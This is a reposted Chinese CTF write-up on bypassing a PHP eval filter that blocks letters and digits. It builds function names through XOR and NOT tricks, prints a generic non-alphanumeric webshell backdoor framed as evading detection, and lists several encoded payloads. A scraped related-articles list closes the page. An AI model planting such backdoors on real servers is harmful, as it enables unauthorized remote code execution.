转载自:https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html

0x01 前言

<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>40){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>

这一串代码描述是这样子,我们要绕过A-Za-z0-9这些常规数字、字母字符串的传参,将非字母、数字的字符经过各种变换,最后能构造出 a-z 中任意一个字符,并且字符串长度小于40。然后再利用 PHP允许动态函数执行的特点,拼接处一个函数名,这里我们是 "getFlag",然后动态执行之即可。

那么,我们需要考虑的问题是如何通过各种变换,使得我们能够去成功读取到getFlag函数,然后拿到webshell。

0x02 前置知识铺垫

在理解这篇文章之前,我们首先需要大家了解的是PHP中异或(^)的概念。

我们先看一下下面这段代码:

<?phpecho "A"^"?";
?>

运行结果如下:

我们可以看到,输出的结果是字符"~"。之所以会得到这样的结果,是因为代码中对字符"A"和字符"?"进行了异或操作。在PHP中,两个变量进行异或时,先会将字符串转换成ASCII值,再将ASCII值转换成二进制再进行异或,异或完,又将结果从二进制转换成了ASCII值,再将ASCII值转换成字符串。异或操作有时也被用来交换两个变量的值。

比如像上面这个例子

A的ASCII值是65,对应的二进制值是01000001

?的ASCII值是63,对应的二进制值是00111111

异或的二进制的值是10000000,对应的ASCII值是126,对应的字符串的值就是~了

我们都知道,PHP是弱类型的语言,也就是说在PHP中我们可以不预先声明变量的类型,而直接声明一个变量并进行初始化或赋值操作。正是由于PHP弱类型的这个特点,我们对PHP的变类型进行隐式的转换,并利用这个特点进行一些非常规的操作。如将整型转换成字符串型,将布尔型当作整型,或者将字符串当作函数来处理,下面我们来看一段代码:

<?phpfunction B(){echo "Hello Angel_Kitty";}$_++;$__= "?" ^ "}";$__();
?>

代码执行结果如下:

我们一起来分析一下上面这段代码:

  1. $_++; 这行代码的意思是对变量名为"_"的变量进行自增操作,在PHP中未定义的变量默认值为null,null==false==0,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。
  2. $__="?" ^ "}"; 对字符"?"和"}"进行异或运算,得到结果B赋给变量名为"__"(两个下划线)的变量
  3. __ (); 通过上面的赋值操作,变量__ (); 通过上面的赋值操作,变量__的值为B,所以这行可以看作是B(),在PHP中,这行代码表示调用函数B,所以执行结果为Hello Angel_Kitty。在PHP中,我们可以将字符串当作函数来处理。

看到这里,相信大家如果再看到类似的PHP后门应该不会那么迷惑了,你可以通过一句句的分析后门代码来理解后门想实现的功能。

我们希望使用这种后门创建一些可以绕过检测的并且对我们有用的字符串,如_POST", "system", "call_user_func_array",或者是任何我们需要的东西。

下面是个非常简单的非数字字母的PHP后门:

<?php@$_++; // $_ = 1$__=("#"^"|"); // $__ = _$__.=("."^"~"); // _P$__.=("/"^"`"); // _PO$__.=("|"^"/"); // _POS$__.=("{"^"/"); // _POST ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

在这里我说明下,.=是字符串的连接,具体参看php语法

我们甚至可以将上面的代码合并为一行,从而使程序的可读性更差,代码如下:

$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");

0x03 问题分析

对于文章开始遇到的那道难题,最开始我们的想法是通过构造异或来去绕过那串字符,但由于最后构造的字串远远超过了长度len=40,然后我们最后放弃了~~

我们该如何构造这个字串使得长度小于40呢?

我们最终是要读取到那个getFlag函数,我们需要构造一个_GET来去读取这个函数,我们最终构造了如下字符串:

?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag

可能很多小伙伴看完前置知识后仍然无法理解这段字符串是如何构造的吧,我们就对这段字符串进行段分析

Return Top

①构造_GET读取

首先我们得知道_GET由什么异或而来的,经过我的尝试与分析,我得出了下面的结论:

<?phpecho "`{{{"^"?<>/";//_GET
?>

这段代码一大坨是啥意思呢?因为40个字符长度的限制,导致以前逐个字符异或拼接的webshell不能使用。
这里可以使用php中可以执行命令的反引号` ` 和Linux下面的通配符?

  • ? 代表匹配一个字符
  • ` 表示执行命令
  • " 对特殊字符串进行解析

由于?只能匹配一个字符,这种写法的意思是循环调用,分别匹配。我们将其进行分解来看

<?phpecho "{"^"<";
?>

输出结果为:

<?phpecho "{"^">";
?>

输出结果为:

<?phpecho "{"^"/";
?>

输出结果为:

所以_GET就是这么被构造出来的

Return Top

②获取_GET参数

如何获取呢?咱们可以构造出如下字串:

<?phpecho ${$_}[_](${$_}[__]);//$_GET[_]($_GET[__])
?>

根据前面构造的来看,$_已经变成了_GET。

顺理成章的来讲,$_ = _GET这个字符串。

我们构建$_GET[ __ ]是为了要获取参数值

Return Top

③传入参数

此时我们只需要去调用getFlag函数获取webshell就好了,构造如下:

<?phpecho $_=getFlag;//getFlag
?>

所以把参数全部连接起来,就可以了~~

?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag

结果如下:

我们就成功读取到了flag~~

补充

我似乎看到了一些大佬对这题的骚操作,我也补充一下吧~~

有个payloads是这样子:

?code=$_=~%98%9A%8B%B9%93%9E%98;$_();

这个是把getFlag取反然后URL编码

然后我们看看下一个payloads:

?code=%24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B&%aa=getFlag

~ 在 {} 中执行了取反操作,所以 ${~"\xa0\xb8\xba\xab"} 取反相当于 $_GET,拼接出了 $_GET['+']();,传入 +=getFlag() 从而执行了函数

再看看下面这种骚操作:

code=$啊=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$啊();

$啊=getFlag;$啊();,这里就不需要用 {} 了,因为取反的值直接被当作字符串赋值给了 $ 啊。

下面这个是梅子酒师傅在评论区提供的一个payloads,我也补上:

0x04 扩展阅读

我给大家推荐几篇写的比较好的,方便大家能更进一步的理解这个东西。

  • https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
  • http://php.net/manual/zh/language.operators.increment.php

记一次拿webshell踩过的坑(如何利用PHP编写一个不包含数字和字母的后门)相关推荐

  1. php 字母数字下划线,CTF踩坑PHP编写一个不包含数字字母和下划线的后门

    首先要了解一下php中异或的用法 先看以下代码 echo "A"^"?"; ?> 运行结果 图片.png 我们可以看到,输出的结果是字符"~&q ...

  2. 项目后期踩到这些坑,原来可以这么简单处理(数字后端实现救火篇)

    项目后期踩到这些坑,原来可以这么简单处理!(数字后端实现救火篇) 文章右侧广告为官方硬广告,与吾爱IC社区无关,用户勿点.点击进去后出现任何损失与社区无关. 最近一直在帮同事解决各种问题.由于临近项目 ...

  3. 记一次使用Cobar踩到的坑

    起因 起因是因为日志里经常报出锁等待超时的错误,并且这个是环环相扣的,一个锁等待会直接引发另外的锁等待,所以危害非常严重,影响非常深远.寻找原因发现是C3P0报出了DEADLOCK,如下图所示: 分析 ...

  4. php 非数字和字母,如何通过非数字与字符的方式实现PHP WebShell详解

    前言 本文主要给大家介绍的是关于通过非数字与字符实现PHP WebShell的相关资料,分享出来供大家参考学习,下面来一起看看详细的介绍: 一般来说,我们所写的webshell通常都会包含数字或字母. ...

  5. IC设计笔记----记录我踩过的坑

    一.关于Design 1.设计功能模块. 首先详细掌握模块功能. 然后定义接口信号,设计模块结构,尽可能复用逻辑资源. 最后再写代码. 对于定义接口信号,多说几句. (1)如果是一个人独自完成,那么其 ...

  6. 记一次编译Cesium踩坑记录

    记一次编译Cesium踩坑记录 cd cesium npm install npm install express --save npm install compression --save npm ...

  7. 启动mq 在虚拟机中_记在使用rocketmq client客户端过程中踩到的坑

    前言 最近项目中使用阿里的RocketMQ来做消息队列,具体怎么使用RocketMQ不在本文讨论范围之内,其相关帮助文档可以参考如下链接 本文主要记录在使用rocketmq client时,遇到的一些 ...

  8. python登录教务系统_记python登陆学校教务系统踩过的坑

    最近开发关于学校服务类小程序,小程序后台需要从学校的系统获取到各同学的信息,所以语言优先选择了python,并用了Django框架.之前也有写过一些爬虫,但都是用其他语言写的.对python并不熟悉, ...

  9. arcgis python 二次开发_我在部署ArcGIS API for Python时踩到的坑

    ArcGIS API for Python相比于其他ESRI产品,还是很年轻.我在部署时踩到了坑,网上也找不到解决方法,很是煞风景,也很打击学习的积极性. 今天回顾一下,做个总结吧.一方面自己备忘,另 ...

最新文章

  1. Silverlight 5 RC新特性探索系列:12.Silverlight 5 RC 窗口模式下访问自定义DLL和WIN32 API...
  2. mysql 查询前10门课程_数据库面试题:如何查找每门课程的前3名?
  3. linux qt ping,Qt5.2中使用ping命令实现Ip扫描功能
  4. SpringBoot 封装返回类以及session 添加获取
  5. 联想linux笔记本评测,联想(lenovo)G460AL-ITH Linux笔记本电脑接口评测-ZOL中关村在线...
  6. java网页解析包_java 网页解析工具包 Jsoup
  7. Flutter 雪花飘落的效果-深夜创作
  8. prim算法_图的生成树之最小生成树(Prim)
  9. 珍珠全面屏!华为畅享9S/9e正式发布:千元三摄加持
  10. log4j.properties配置详解(转载)
  11. 全民超神服务器维护,全民超神更新维护公告 更新内容详细一览
  12. JMeter中BeanShell的使用方法和常用语法
  13. 振弦式传感器数据采集到水库大坝监测云平台进行监控和报警
  14. 计算机应用项目概述,计算机应用包括哪些项目?
  15. 【IoT】物联网NB-IoT之移动oneNET平台简析
  16. Linux中if语句用法总结
  17. S3存储桶策略(S3 Bucket Policies)
  18. 关于点击事件网页自动跳转,并且F12的调试窗口消失,找不到调用方法的解决办法
  19. for in在python中什么意思_Python for i in range ()用法详解
  20. MATLAB读RGB888数据显示图片

热门文章

  1. html视频怎么转换成图片,如何将小视频转换成GIF动图或将GIF动图转换成视频
  2. Java高性能系列-(一)VM生命周期
  3. 怎么使用视频做动图?如何快速将视频转成gif图
  4. 全量备份/增量备份/差异备份说明
  5. 抽奖活动mysql表设计_购物商城数据库设计-商品表设计
  6. easyswoole 使用 从thinkphp5.1数据库ORM类库
  7. Strusts2简单入门教程
  8. 柔性电子:灵敏电阻,基于高定向,独立的碳纳米管阵列的柔性压力传感器
  9. 今日芯声 | 不寒而栗!针孔摄像头画质竟然是4K高清的
  10. 为C盘爆满提供的一些解决方式